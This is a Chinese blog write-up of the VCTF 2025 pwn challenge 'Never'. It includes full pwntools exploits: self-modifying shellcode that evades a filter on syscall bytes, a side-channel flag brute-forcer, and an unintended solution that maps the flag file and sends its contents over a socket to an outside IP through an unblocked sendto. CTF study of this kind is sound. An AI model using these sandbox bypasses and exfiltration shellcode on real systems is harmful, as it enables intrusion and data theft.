Mindedness

Announcement

Welcome to my blog

Learn More

标签

1626 字

8 分钟

VCTF 2025 Never 非预期解

2025-11-28

WriteUp

侧信道攻击

/

shellcode编写

/

沙箱绕过

/

动态代码修改

/

pwn

前言#

最近到处找好玩的题目玩，偶然间就看到了这样一个打侧信道爆破的题目(

原本以为这个题目实际上就只考察了一个侧信道爆破，但仔细一看并不是这样的

闲话少说，正片开始(

题目分析#

保护除canary全开

刚开始mmap了一个 rwxp 的，0x1000大小的内存

通过gdb也能看到确实是rwxp的

后面的逻辑也很清晰，一个函数，一个沙箱

首先看函数，这个函数

看了会，能够看出来ban了 \x0f\x05 和 \xcd\x80 两个组合

我们看disasm可以知道ban的是 syscall和 int 0x80

1
print(disasm(b'\x0f\x05'))
2
print(disasm(b'\xCD\x80'))
3
->
4
"""
5
   0:   0f 05                   syscall
6
   0:   cd 80                   int    0x80
7
"""

这个说实话刚开始以我的想法是构造一个test … jz来跳过，但是想想发现是自己铸币了，明明可以通过动态修改代码的方式对其进行加密解密的。

在这一题里，官方是这么写的：

1
mov    r12, 0x345
2
mov    r11, 0x64a
3
xor    r12, r11 ; 0x345^0x64a = 0x50f -> \x05\x0f
4
movabs rcx, 0xdeadb0bb ; 这里是地址
5
xor    QWORD PTR [rcx], r12
6
add    BYTE PTR [rax], al ; 这个的字节码是 00 00，与 \x05\x0f 异或变为 syscall

于是我就开心的直接拿这个用了( 原本自己还想着写个loop异或的

‍

之后是沙箱

ban了read、readv、write、writev、sendfile、execve、execveat (这里就有伏笔了)

显然官方是想要把你的直接输出flag的路全部堵死，让你去写一个侧信道爆破的。

正常解法#

根据上面的解析，我们不难得到一条利用链，也是比平常稍微难一点的一条打侧信道爆破的链子

open 载入flag文件 -> mmap将flag文件映射到一块内存区域 -> 侧信道爆破检测flag是否正确

也就是这样的构造

1
payload = asm("""
2
    /* open("flag", 'r')*/
3
xor    rdi, rdi
4
push   0x67616c66
5
mov    rdi, rsp
6
mov    rsi, 0x0
7
mov    rax, 0x2
8
mov    r8, 0x345
9
mov    r9, 0x64a
10
xor    r8, r9
11
movabs rcx, 0xdeadb000
12
xor    QWORD PTR [rcx+0x38], r8
13
add    BYTE PTR [rax], al
14
    /* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
15
movabs rdi, 0xdeadb200
16
mov    rsi, 0x200
17
mov    rdx, 0x1
18
mov    r10, 0x2
19
mov    r8, 0x3
20
mov    r9, 0x0
21

22
mov    rax, 0x9
23
mov    r12, 0x345
24
mov    r11, 0x64a
25
xor    r12, r11
26
movabs rcx, 0xdeadb08c
27
xor    QWORD PTR [rcx], r12
28
add    BYTE PTR [rax], al
29

30
""")
31

32
shellcode = """
33
mov bl, byte ptr [rax+{}]
34
cmp bl,{}
35
jz $-0x3
36
"""

从而也就能够写出这样的wp ~~我没有打VCTF，因而没有打线上，轻喷~~

1
from pwn import *
2

3
charset = "etaoinshrdlcumwfgypbvkjqzx3740152689{_}"
4
list = [ord(x) for x in charset]
5

6
index = 0
7
flag = ""
8

9
payload = asm("""
10
    /* open("flag", 'r')*/
11
xor    rdi, rdi
12
push   0x67616c66
13
mov    rdi, rsp
14
mov    rsi, 0x0
15
mov    rax, 0x2
16
mov    r8, 0x345
17
mov    r9, 0x64a
18
xor    r8, r9
19
movabs rcx, 0xdeadb000
20
xor    QWORD PTR [rcx+0x38], r8
21
add    BYTE PTR [rax], al
22
    /* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
23
movabs rdi, 0xdeadb200
24
mov    rsi, 0x200
25
mov    rdx, 0x1
26
mov    r10, 0x2
27
mov    r8, 0x3
28
mov    r9, 0x0
29

30
mov    rax, 0x9
31
mov    r12, 0x345
32
mov    r11, 0x64a
33
xor    r12, r11
34
movabs rcx, 0xdeadb08c
35
xor    QWORD PTR [rcx], r12
36
add    BYTE PTR [rax], al
37
""")
38
shellcode = """
39
mov bl, byte ptr [rax+{}]
40
cmp bl,{}
41
jz $-0x3
42
"""
43

44

45
context.log_level = "Info"
46
while True:
47
    for i in range(len(charset)):
48
        try:
49
            io = process(file)
50
            rcu(b"ideas!")
51
            s(payload+asm(shellcode.format(index,list[i])))
52
            chk1 = io.recv(timeout=0.1)
53
            chk2 = io.recv(timeout=0.5)
54
            print(chk2)
55
            if b'limit' in chk1:
56
                io.close()
57
                sleep(1)
58
            if chk2 == b'':
59
                flag+=chr(list[i])
60
                index +=1
61
                log("flag added 1 chars")
62
                log(f"flag: {str(flag)}")
63
                break
64
        except:
65
            log(f"Tried {i+1}/{len(charset)}")
66
            # log(f"flag: {str(flag)}")
67
        finally:
68
            io.close()
69
        if "}" in flag:
70
            log(f"Final Flag {flag}")
71
            io.close()
72
            exit(0)

之后爆破依旧是十分的漫长的过程，这里就不做展示了

非预期解#

终于到了我想说的环节了 (bushi

这个题目实际上我第一眼看过来以为是打tcp反弹shell的，但是execve、execveat和sendfile被ban了，所以大多数人都认为这个反弹shell是不行的

这里就有一个小bug了，出题人没有ban sendto。这里是可以直接mmap到特定的，与其不重合的地方，之后直接sendto出来的

在这期间，我还发现了 mmap 在创建映射时，如果创建的映射与现存的内存相重合时，会返回一个在libseccomp.so和ld.so.2之间的地址，如下

我一开始想做这个非预期解的时候，是将地址直接写成我之前写mmap到的地址，也就是 0xdeadb200。这就导致了实际上我并没有将真正的映射地址导入sendto，回显变成了这样

总之，这一条非预期解就是 open -> mmap -> socket -> connect -> sendto

这样只要几秒钟就能传回答案，十分的快速(

exp如下

1
#exp
2
import os
3
import socket
4
from pwn import *
5

6
# line  CODE  JT   JF      K
7
# =================================
8
# 0000: 0x20 0x00 0x00 0x00000004  A = arch
9
# 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
10
# 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
11
# 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
12
# 0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
13
# 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
14
# 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
15
# 0007: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0013
16
# 0008: 0x15 0x04 0x00 0x00000014  if (A == writev) goto 0013
17
# 0009: 0x15 0x03 0x00 0x00000028  if (A == sendfile) goto 0013
18
# 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
19
# 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
20
# 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
21
# 0013: 0x06 0x00 0x00 0x00050000  return ERRNO(0)
22
# 0014: 0x06 0x00 0x00 0x00000000  return KILL
23

24
file = os.path.realpath(b'./never')
25
elf = ELF(file)
26
io = process(file)
27
context.binary = elf
28
context.os = 'linux'
29
def ip_to_hex(ip):
30
    packed = socket.inet_aton(ip)               # 4 bytes, big-endian
31
    be = int.from_bytes(packed, 'big')
32
    le = int.from_bytes(packed, 'little')
33
    return be, le, packed
34

35
def port_to_hex(port):
36
    be = port.to_bytes(2, 'big')                # network order
37
    le = port.to_bytes(2, 'little')             # memory little-endian
38
    return be, le
39
ip = "192.168.10.239"
40
port = 1337
41

42
ip = ip_to_hex(ip)[1]
43
port = port_to_hex(port)[1]
44

45
payload = f"""
46
/* open("flag", 'r')*/
47
xor    rdi, rdi
48
push   0x67616c66
49
mov    rdi, rsp
50
mov    rsi, 0x0
51
mov    rax, 0x2
52
mov    r8, 0x345
53
mov    r9, 0x64a
54
xor    r8, r9
55
movabs rcx, 0xdeadb000
56
xor    QWORD PTR [rcx+0x38], r8
57
add    BYTE PTR [rax], al
58

59
/* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
60
movabs rdi, 0xdeadb200
61
mov    rsi, 0x200
62
mov    rdx, 0x1
63
mov    r10, 0x2
64
mov    r8, 0x3
65
mov    r9, 0x0
66
mov    rax, 0x9
67
mov    r12, 0x345
68
mov    r11, 0x64a
69
xor    r12, r11
70
movabs rcx, 0xdeadb08c
71
xor    QWORD PTR [rcx], r12
72
add    BYTE PTR [rax], al
73
mov r13, rax
74
/* socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
75
push 0x2
76
pop rdi
77
push 0x1
78
pop rsi
79
push 0x6
80
pop rdx
81
push 0x29
82
pop rax /* syscall 41 = socket */
83
mov    r12, 0x345
84
mov    r11, 0x64a
85
xor    r12, r11
86
movabs rcx, 0xdeadb0bb
87
xor    QWORD PTR [rcx], r12
88
add    BYTE PTR [rax], al
89
mov r8, rax
90

91
/* connect to ip:port */
92
xor r10, r10
93
push r10
94
push r10
95
mov BYTE PTR [rsp], 0x2
96
mov WORD PTR [rsp+0x2], 0x{port.hex()}
97
mov DWORD PTR [rsp+0x4], {hex(ip)}
98
mov rsi, rsp
99
push r8
100
pop rdi /* sockfd */
101
push 0x10
102
pop rdx /* sizeof(sockaddr) */
103
push SYS_connect /* 0x31 */
104
pop rax; /* syscall 49 = connect */
105

106
mov    r12, 0x345
107
mov    r11, 0x64a
108
xor    r12, r11
109
movabs rcx, 0xdeadb104
110
xor    QWORD PTR [rcx], r12
111
add    BYTE PTR [rax], al
112

113
/* send */
114
mov rdi, r8 /* sockfd */
115
mov rsi, r13 /* buf */
116
mov    rdx, 0x100 /* len */
117
xor   r10, r10 /* flags */
118
xor  r9, r9 /* addr */
119
xor  r8, r8 /* addrlen */
120
push SYS_sendto
121
pop rax
122

123
mov    r12, 0x345
124
mov    r11, 0x64a
125
xor    r12, r11
126
movabs rcx, 0xdeadb13d
127
xor    QWORD PTR [rcx], r12
128
add    BYTE PTR [rax], al
129
"""
130

131
payload = asm(payload)
132
success(f"payload length: {len(payload)}")
133
io.sendline(payload)
134
io.interactive()

VCTF 2025 Never 非预期解

https://blog.mindedness.top/posts/vctf-2025-never-非预期解/

作者

Mindedness

发布于

2025-11-28

许可协议

CC BY-NC-SA 4.0

部分信息可能已经过时

House of Water & 华为杯 2025 WhatHeap

Mindedness's Blog

前言#

题目分析#

正常解法#

非预期解#